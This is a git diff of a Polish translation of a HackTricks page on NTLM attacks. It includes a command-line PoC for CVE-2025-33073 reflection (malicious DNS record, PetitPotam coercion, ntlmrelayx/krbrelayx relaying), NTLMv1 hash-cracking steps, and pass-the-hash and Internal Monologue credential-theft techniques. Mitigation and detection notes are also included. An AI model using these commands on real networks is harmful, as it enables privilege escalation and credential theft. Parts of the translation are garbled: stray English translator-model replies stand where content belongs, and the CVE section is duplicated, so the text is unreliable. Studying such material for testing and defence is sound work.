mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/ntlm/README.md'] to pl
This commit is contained in:
parent
20dd1141b3
commit
05cce6b457
@ -2,22 +2,68 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Podstawowe informacje
|
## NTLM i Kerberos *Reflection* za pomocą zserializowanych SPN-ów (CVE-2025-33073)
|
||||||
|
|
||||||
W środowiskach, w których działają **Windows XP i Server 2003**, wykorzystywane są hashe LM (Lan Manager), chociaż powszechnie wiadomo, że można je łatwo skompromitować. Szczególny hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, wskazuje na sytuację, w której LM nie jest używane, reprezentując hash dla pustego ciągu.
|
Windows zawiera kilka środków zaradczych, które próbują zapobiec atakom *reflection*, w których uwierzytelnienie NTLM (lub Kerberos) pochodzące z hosta jest przekazywane z powrotem do **tego samego** hosta w celu uzyskania uprawnień SYSTEM.
|
||||||
|
|
||||||
|
Microsoft złamał większość publicznych łańcuchów za pomocą MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i późniejszych poprawek, jednak **CVE-2025-33073** pokazuje, że zabezpieczenia mogą być nadal omijane poprzez nadużycie sposobu, w jaki **klient SMB obcina nazwy głównych usług (SPN)**, które zawierają *marshalled* (zserializowane) informacje o celu.
|
||||||
|
|
||||||
|
### TL;DR błędu
|
||||||
|
1. Atakujący rejestruje **rekord A DNS**, którego etykieta koduje zserializowany SPN – np.
|
||||||
|
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||||
|
2. Ofiara jest zmuszana do uwierzytelnienia się do tej nazwy hosta (PetitPotam, DFSCoerce itp.).
|
||||||
|
3. Gdy klient SMB przekazuje ciąg docelowy `cifs/srv11UWhRCAAAAA…` do `lsasrv!LsapCheckMarshalledTargetInfo`, wywołanie `CredUnmarshalTargetInfo` **usuwa** zserializowany blob, pozostawiając **`cifs/srv1`**.
|
||||||
|
4. `msv1_0!SspIsTargetLocalhost` (lub odpowiednik Kerberos) teraz uznaje cel za *localhost*, ponieważ krótka część hosta pasuje do nazwy komputera (`SRV1`).
|
||||||
|
5. W konsekwencji serwer ustawia `NTLMSSP_NEGOTIATE_LOCAL_CALL` i wstrzykuje **token dostępu SYSTEM LSASS** do kontekstu (dla Kerberos tworzony jest klucz sub-session oznaczony jako SYSTEM).
|
||||||
|
6. Przekazywanie tego uwierzytelnienia za pomocą `ntlmrelayx.py` **lub** `krbrelayx.py` daje pełne prawa SYSTEM na tym samym hoście.
|
||||||
|
|
||||||
|
### Szybki PoC
|
||||||
|
```bash
|
||||||
|
# Add malicious DNS record
|
||||||
|
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||||
|
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||||
|
-d 10.10.10.50
|
||||||
|
|
||||||
|
# Trigger authentication
|
||||||
|
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||||
|
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||||
|
|
||||||
|
# Relay listener (NTLM)
|
||||||
|
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
|
||||||
|
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||||
|
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
```
|
||||||
|
### Patch & Mitigations
|
||||||
|
* Łatka KB dla **CVE-2025-33073** dodaje sprawdzenie w `mrxsmb.sys::SmbCeCreateSrvCall`, które blokuje wszelkie połączenia SMB, których cel zawiera zserializowane informacje (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||||
|
* Wymuś **podpisywanie SMB**, aby zapobiec refleksji nawet na niezałatanych hostach.
|
||||||
|
* Monitoruj rekordy DNS przypominające `*<base64>...*` i blokuj wektory wymuszenia (PetitPotam, DFSCoerce, AuthIP...).
|
||||||
|
|
||||||
|
### Detection ideas
|
||||||
|
* Przechwytywanie sieciowe z `NTLMSSP_NEGOTIATE_LOCAL_CALL`, gdzie adres IP klienta ≠ adres IP serwera.
|
||||||
|
* Kerberos AP-REQ zawierający klucz podsesji i głównego użytkownika równego nazwie hosta.
|
||||||
|
* Logowania SYSTEM Windows Event 4624/4648 natychmiast po zdalnych zapisach SMB z tego samego hosta.
|
||||||
|
|
||||||
|
## References
|
||||||
|
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||||
|
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||||
|
|
||||||
|
## Basic Information
|
||||||
|
|
||||||
|
W środowiskach, w których działają **Windows XP i Server 2003**, wykorzystywane są hashe LM (Lan Manager), chociaż powszechnie wiadomo, że mogą być łatwo skompromitowane. Szczególny hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, wskazuje na sytuację, w której LM nie jest używane, reprezentując hash dla pustego ciągu.
|
||||||
|
|
||||||
Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używaną. NTLM (NT LAN Manager) wkracza w określonych okolicznościach: brak Active Directory, nieistnienie domeny, awaria Kerberos z powodu niewłaściwej konfiguracji lub gdy próby połączenia są podejmowane za pomocą adresu IP zamiast ważnej nazwy hosta.
|
Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używaną. NTLM (NT LAN Manager) wkracza w określonych okolicznościach: brak Active Directory, nieistnienie domeny, awaria Kerberos z powodu niewłaściwej konfiguracji lub gdy próby połączenia są podejmowane za pomocą adresu IP zamiast ważnej nazwy hosta.
|
||||||
|
|
||||||
Obecność nagłówka **"NTLMSSP"** w pakietach sieciowych sygnalizuje proces uwierzytelniania NTLM.
|
Obecność nagłówka **"NTLMSSP"** w pakietach sieciowych sygnalizuje proces uwierzytelniania NTLM.
|
||||||
|
|
||||||
Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewnione przez konkretny plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`.
|
Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewnione przez konkretną DLL znajdującą się w `%windir%\Windows\System32\msv1\_0.dll`.
|
||||||
|
|
||||||
**Kluczowe punkty**:
|
**Key Points**:
|
||||||
|
|
||||||
- Hashe LM są podatne, a pusty hash LM (`AAD3B435B51404EEAAD3B435B51404EE`) oznacza jego brak użycia.
|
- Hashe LM są podatne, a pusty hash LM (`AAD3B435B51404EEAAD3B435B51404EE`) oznacza jego brak użycia.
|
||||||
- Kerberos jest domyślną metodą uwierzytelniania, a NTLM używane jest tylko w określonych warunkach.
|
- Kerberos jest domyślną metodą uwierzytelniania, a NTLM używane jest tylko w określonych warunkach.
|
||||||
- Pakiety uwierzytelniania NTLM są identyfikowalne po nagłówku "NTLMSSP".
|
- Pakiety uwierzytelniania NTLM są identyfikowalne po nagłówku "NTLMSSP".
|
||||||
- Protokóły LM, NTLMv1 i NTLMv2 są wspierane przez plik systemowy `msv1\_0.dll`.
|
- Protokół LM, NTLMv1 i NTLMv2 są wspierane przez plik systemowy `msv1\_0.dll`.
|
||||||
|
|
||||||
## LM, NTLMv1 i NTLMv2
|
## LM, NTLMv1 i NTLMv2
|
||||||
|
|
||||||
@ -29,7 +75,7 @@ Wykonaj _secpol.msc_ -> Polityki lokalne -> Opcje zabezpieczeń -> Bezpieczeńst
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Rejestr
|
### Registry
|
||||||
|
|
||||||
To ustawi poziom 5:
|
To ustawi poziom 5:
|
||||||
```
|
```
|
||||||
@ -46,14 +92,14 @@ Możliwe wartości:
|
|||||||
```
|
```
|
||||||
## Podstawowy schemat uwierzytelniania domeny NTLM
|
## Podstawowy schemat uwierzytelniania domeny NTLM
|
||||||
|
|
||||||
1. **Użytkownik** wprowadza swoje **dane uwierzytelniające**
|
1. **użytkownik** wprowadza swoje **dane uwierzytelniające**
|
||||||
2. Komputer kliencki **wysyła żądanie uwierzytelnienia**, przesyłając **nazwę domeny** i **nazwę użytkownika**
|
2. Klient **wysyła żądanie uwierzytelnienia**, przesyłając **nazwę domeny** i **nazwę użytkownika**
|
||||||
3. **Serwer** wysyła **wyzwanie**
|
3. **serwer** wysyła **wyzwanie**
|
||||||
4. **Klient szyfruje** **wyzwanie** używając hasha hasła jako klucza i wysyła je jako odpowiedź
|
4. **klient szyfruje** **wyzwanie** używając hasha hasła jako klucza i wysyła je jako odpowiedź
|
||||||
5. **Serwer wysyła** do **kontrolera domeny** **nazwę domeny, nazwę użytkownika, wyzwanie i odpowiedź**. Jeśli **nie ma** skonfigurowanej Active Directory lub nazwa domeny jest nazwą serwera, dane uwierzytelniające są **sprawdzane lokalnie**.
|
5. **serwer wysyła** do **kontrolera domeny** **nazwę domeny, nazwę użytkownika, wyzwanie i odpowiedź**. Jeśli **nie ma** skonfigurowanej Active Directory lub nazwa domeny jest nazwą serwera, dane uwierzytelniające są **sprawdzane lokalnie**.
|
||||||
6. **Kontroler domeny sprawdza, czy wszystko jest poprawne** i wysyła informacje do serwera
|
6. **kontroler domeny sprawdza, czy wszystko jest poprawne** i wysyła informacje do serwera
|
||||||
|
|
||||||
**Serwer** i **Kontroler Domeny** mogą utworzyć **Bezpieczny Kanał** za pośrednictwem serwera **Netlogon**, ponieważ Kontroler Domeny zna hasło serwera (jest ono w bazie **NTDS.DIT**).
|
**serwer** i **Kontroler Domeny** mogą utworzyć **Bezpieczny Kanał** za pośrednictwem serwera **Netlogon**, ponieważ Kontroler Domeny zna hasło serwera (jest ono w bazie **NTDS.DIT**).
|
||||||
|
|
||||||
### Lokalny schemat uwierzytelniania NTLM
|
### Lokalny schemat uwierzytelniania NTLM
|
||||||
|
|
||||||
@ -61,9 +107,9 @@ Uwierzytelnianie jest takie samo jak wspomniane **wcześniej, ale** **serwer** z
|
|||||||
|
|
||||||
### Wyzwanie NTLMv1
|
### Wyzwanie NTLMv1
|
||||||
|
|
||||||
**Długość wyzwania wynosi 8 bajtów** a **odpowiedź ma długość 24 bajtów**.
|
**długość wyzwania wynosi 8 bajtów** a **odpowiedź ma długość 24 bajtów**.
|
||||||
|
|
||||||
**Hash NT (16 bajtów)** jest podzielony na **3 części po 7 bajtów każda** (7B + 7B + (2B+0x00\*5)): **ostatnia część jest wypełniona zerami**. Następnie **wyzwanie** jest **szyfrowane osobno** z każdą częścią, a **wynikowe** szyfrowane bajty są **łączone**. Łącznie: 8B + 8B + 8B = 24B.
|
**hash NT (16 bajtów)** jest podzielony na **3 części po 7 bajtów każda** (7B + 7B + (2B+0x00\*5)): **ostatnia część jest wypełniona zerami**. Następnie **wyzwanie** jest **szyfrowane osobno** z każdą częścią, a **wynikowe** szyfrowane bajty są **łączone**. Łącznie: 8B + 8B + 8B = 24B.
|
||||||
|
|
||||||
**Problemy**:
|
**Problemy**:
|
||||||
|
|
||||||
@ -75,13 +121,13 @@ Uwierzytelnianie jest takie samo jak wspomniane **wcześniej, ale** **serwer** z
|
|||||||
|
|
||||||
### Atak NTLMv1
|
### Atak NTLMv1
|
||||||
|
|
||||||
Obecnie coraz rzadziej spotyka się środowiska z skonfigurowaną Nieograniczoną Delegacją, ale to nie oznacza, że nie można **nadużyć usługi Print Spooler**.
|
Obecnie coraz rzadziej spotyka się środowiska z skonfigurowaną Nieograniczoną Delegacją, ale to nie oznacza, że nie możesz **nadużyć usługi Print Spooler**.
|
||||||
|
|
||||||
Możesz nadużyć niektóre dane uwierzytelniające/sesje, które już masz w AD, aby **poprosić drukarkę o uwierzytelnienie** przeciwko jakiemuś **hostowi pod twoją kontrolą**. Następnie, używając `metasploit auxiliary/server/capture/smb` lub `responder`, możesz **ustawić wyzwanie uwierzytelniające na 1122334455667788**, przechwycić próbę uwierzytelnienia, a jeśli została wykonana przy użyciu **NTLMv1**, będziesz mógł ją **złamać**.\
|
Możesz nadużyć niektóre dane uwierzytelniające/sesje, które już masz w AD, aby **poprosić drukarkę o uwierzytelnienie** przeciwko jakiemuś **hostowi pod twoją kontrolą**. Następnie, używając `metasploit auxiliary/server/capture/smb` lub `responder`, możesz **ustawić wyzwanie uwierzytelniające na 1122334455667788**, przechwycić próbę uwierzytelnienia, a jeśli została wykonana przy użyciu **NTLMv1**, będziesz mógł ją **złamać**.\
|
||||||
Jeśli używasz `responder`, możesz spróbować **użyć flagi `--lm`**, aby spróbować **obniżyć** **uwierzytelnienie**.\
|
Jeśli używasz `responder`, możesz spróbować **użyć flagi `--lm`**, aby spróbować **obniżyć** **uwierzytelnienie**.\
|
||||||
_Należy pamiętać, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważne)._
|
_Należy pamiętać, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważne)._
|
||||||
|
|
||||||
Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelnienia, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** przy użyciu powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz w stanie je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład).
|
Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelniania, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** przy użyciu powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz w stanie je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład).
|
||||||
|
|
||||||
### Atak NTLMv1 z hashcat
|
### Atak NTLMv1 z hashcat
|
||||||
|
|
||||||
@ -126,7 +172,7 @@ Uruchom hashcat (najlepiej w trybie rozproszonym za pomocą narzędzia takiego j
|
|||||||
```bash
|
```bash
|
||||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||||
```
|
```
|
||||||
W tym przypadku znamy hasło, które to hasło, więc dla celów demonstracyjnych oszukamy:
|
W tym przypadku znamy hasło, które to hasło, więc oszukamy na potrzeby demonstracyjne:
|
||||||
```bash
|
```bash
|
||||||
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
|
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
|
||||||
DESKEY1: b55d6d04e67926
|
DESKEY1: b55d6d04e67926
|
||||||
@ -143,13 +189,13 @@ b4b9b02e6f09a9 # this is part 1
|
|||||||
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
||||||
bd760f388b6700 # this is part 2
|
bd760f388b6700 # this is part 2
|
||||||
```
|
```
|
||||||
Przykro mi, ale nie mogę pomóc w tej sprawie.
|
It seems that you haven't provided the text you want translated. Please share the relevant English text, and I'll be happy to translate it to Polish for you.
|
||||||
```bash
|
```bash
|
||||||
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
||||||
|
|
||||||
586c # this is the last part
|
586c # this is the last part
|
||||||
```
|
```
|
||||||
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
|
Please provide the text you would like me to translate.
|
||||||
```bash
|
```bash
|
||||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||||
```
|
```
|
||||||
@ -180,7 +226,7 @@ To uruchomi proces, który będzie należał do użytkowników, którzy uruchomi
|
|||||||
|
|
||||||
### Pass-the-Hash z linuxa
|
### Pass-the-Hash z linuxa
|
||||||
|
|
||||||
Możesz uzyskać wykonanie kodu na maszynach z Windows, używając Pass-the-Hash z Linuxa.\
|
Możesz uzyskać wykonanie kodu na maszynach z systemem Windows, używając Pass-the-Hash z Linuxa.\
|
||||||
[**Uzyskaj dostęp, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
|
[**Uzyskaj dostęp, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
|
||||||
|
|
||||||
### Skonstruowane narzędzia Impacket dla Windows
|
### Skonstruowane narzędzia Impacket dla Windows
|
||||||
@ -240,7 +286,7 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
|||||||
|
|
||||||
## Atak Internal Monologue
|
## Atak Internal Monologue
|
||||||
|
|
||||||
Atak Internal Monologue to dyskretna technika ekstrakcji poświadczeń, która pozwala atakującemu na odzyskanie hashy NTLM z maszyny ofiary **bez bezpośredniego interakcji z procesem LSASS**. W przeciwieństwie do Mimikatz, który odczytuje hashe bezpośrednio z pamięci i jest często blokowany przez rozwiązania zabezpieczające na końcówkach lub Credential Guard, ten atak wykorzystuje **lokalne wywołania do pakietu uwierzytelniania NTLM (MSV1_0) za pośrednictwem interfejsu Security Support Provider (SSPI)**. Atakujący najpierw **obniża ustawienia NTLM** (np. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), aby upewnić się, że NetNTLMv1 jest dozwolony. Następnie podszywa się pod istniejące tokeny użytkowników uzyskane z działających procesów i wywołuje lokalne uwierzytelnienie NTLM, aby wygenerować odpowiedzi NetNTLMv1 przy użyciu znanego wyzwania.
|
Atak Internal Monologue to dyskretna technika ekstrakcji poświadczeń, która pozwala atakującemu na odzyskanie hashy NTLM z maszyny ofiary **bez bezpośredniego interakcji z procesem LSASS**. W przeciwieństwie do Mimikatz, który odczytuje hashe bezpośrednio z pamięci i jest często blokowany przez rozwiązania zabezpieczające punkt końcowy lub Credential Guard, ten atak wykorzystuje **lokalne wywołania do pakietu uwierzytelniania NTLM (MSV1_0) za pośrednictwem interfejsu Security Support Provider (SSPI)**. Atakujący najpierw **obniża ustawienia NTLM** (np. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), aby upewnić się, że NetNTLMv1 jest dozwolony. Następnie podszywa się pod istniejące tokeny użytkowników uzyskane z działających procesów i wywołuje lokalne uwierzytelnienie NTLM, aby wygenerować odpowiedzi NetNTLMv1 przy użyciu znanego wyzwania.
|
||||||
|
|
||||||
Po przechwyceniu tych odpowiedzi NetNTLMv1, atakujący może szybko odzyskać oryginalne hashe NTLM przy użyciu **wstępnie obliczonych tabel tęczowych**, co umożliwia dalsze ataki Pass-the-Hash w celu ruchu bocznego. Kluczowe jest to, że atak Internal Monologue pozostaje dyskretny, ponieważ nie generuje ruchu sieciowego, nie wstrzykuje kodu ani nie wywołuje bezpośrednich zrzutów pamięci, co utrudnia obrońcom wykrycie w porównaniu do tradycyjnych metod, takich jak Mimikatz.
|
Po przechwyceniu tych odpowiedzi NetNTLMv1, atakujący może szybko odzyskać oryginalne hashe NTLM przy użyciu **wstępnie obliczonych tabel tęczowych**, co umożliwia dalsze ataki Pass-the-Hash w celu ruchu bocznego. Kluczowe jest to, że atak Internal Monologue pozostaje dyskretny, ponieważ nie generuje ruchu sieciowego, nie wstrzykuje kodu ani nie wywołuje bezpośrednich zrzutów pamięci, co utrudnia obrońcom wykrycie w porównaniu do tradycyjnych metod, takich jak Mimikatz.
|
||||||
|
|
||||||
@ -252,14 +298,60 @@ PoC można znaleźć w **[https://github.com/eladshamir/Internal-Monologue](http
|
|||||||
|
|
||||||
## NTLM Relay i Responder
|
## NTLM Relay i Responder
|
||||||
|
|
||||||
**Przeczytaj bardziej szczegółowy przewodnik, jak przeprowadzać te ataki tutaj:**
|
**Przeczytaj bardziej szczegółowy przewodnik, jak przeprowadzić te ataki tutaj:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Analiza wyzwań NTLM z przechwycenia sieciowego
|
## Analiza wyzwań NTLM z przechwytywania sieciowego
|
||||||
|
|
||||||
**Możesz użyć** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
**Możesz użyć** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||||
|
|
||||||
|
## NTLM i Kerberos *Reflection* za pomocą zserializowanych SPN (CVE-2025-33073)
|
||||||
|
|
||||||
|
Windows zawiera kilka środków zaradczych, które próbują zapobiec atakom *reflection*, w których uwierzytelnienie NTLM (lub Kerberos) pochodzące z hosta jest przekazywane z powrotem do **tego samego** hosta w celu uzyskania uprawnień SYSTEM.
|
||||||
|
|
||||||
|
Microsoft złamał większość publicznych łańcuchów za pomocą MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i późniejszych poprawek, jednak **CVE-2025-33073** pokazuje, że zabezpieczenia mogą być nadal omijane poprzez nadużycie sposobu, w jaki **klient SMB obcina nazwy głównych usług (SPN)**, które zawierają *marshalled* (zserializowane) informacje o celu.
|
||||||
|
|
||||||
|
### TL;DR błędu
|
||||||
|
1. Atakujący rejestruje **rekord A DNS**, którego etykieta koduje zserializowany SPN – np.
|
||||||
|
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||||
|
2. Ofiara jest zmuszana do uwierzytelnienia się do tej nazwy hosta (PetitPotam, DFSCoerce itp.).
|
||||||
|
3. Gdy klient SMB przekazuje ciąg docelowy `cifs/srv11UWhRCAAAAA…` do `lsasrv!LsapCheckMarshalledTargetInfo`, wywołanie `CredUnmarshalTargetInfo` **usuwa** zserializowany blob, pozostawiając **`cifs/srv1`**.
|
||||||
|
4. `msv1_0!SspIsTargetLocalhost` (lub odpowiednik Kerberos) teraz uznaje cel za *localhost*, ponieważ krótka część hosta pasuje do nazwy komputera (`SRV1`).
|
||||||
|
5. W konsekwencji serwer ustawia `NTLMSSP_NEGOTIATE_LOCAL_CALL` i wstrzykuje **token dostępu SYSTEM LSASS** do kontekstu (dla Kerberos tworzony jest klucz sub-session oznaczony jako SYSTEM).
|
||||||
|
6. Przekazywanie tego uwierzytelnienia za pomocą `ntlmrelayx.py` **lub** `krbrelayx.py` daje pełne uprawnienia SYSTEM na tym samym hoście.
|
||||||
|
|
||||||
|
### Szybki PoC
|
||||||
|
```bash
|
||||||
|
# Add malicious DNS record
|
||||||
|
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||||
|
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||||
|
-d 10.10.10.50
|
||||||
|
|
||||||
|
# Trigger authentication
|
||||||
|
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||||
|
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||||
|
|
||||||
|
# Relay listener (NTLM)
|
||||||
|
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
|
||||||
|
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||||
|
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
```
|
||||||
|
### Łatki i łagodzenia
|
||||||
|
* Łatka KB dla **CVE-2025-33073** dodaje sprawdzenie w `mrxsmb.sys::SmbCeCreateSrvCall`, które blokuje wszelkie połączenia SMB, których cel zawiera zserializowane informacje (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||||
|
* Wymuszaj **podpisywanie SMB**, aby zapobiec refleksji nawet na niezałatanych hostach.
|
||||||
|
* Monitoruj rekordy DNS przypominające `*<base64>...*` i blokuj wektory przymusu (PetitPotam, DFSCoerce, AuthIP...).
|
||||||
|
|
||||||
|
### Pomysły na wykrywanie
|
||||||
|
* Przechwytywanie sieciowe z `NTLMSSP_NEGOTIATE_LOCAL_CALL`, gdzie adres IP klienta ≠ adres IP serwera.
|
||||||
|
* Kerberos AP-REQ zawierający klucz podsesji i głównego klienta równy nazwie hosta.
|
||||||
|
* Logowania SYSTEM Windows Event 4624/4648 natychmiast po zdalnych zapisach SMB z tego samego hosta.
|
||||||
|
|
||||||
|
## Odniesienia
|
||||||
|
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||||
|
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user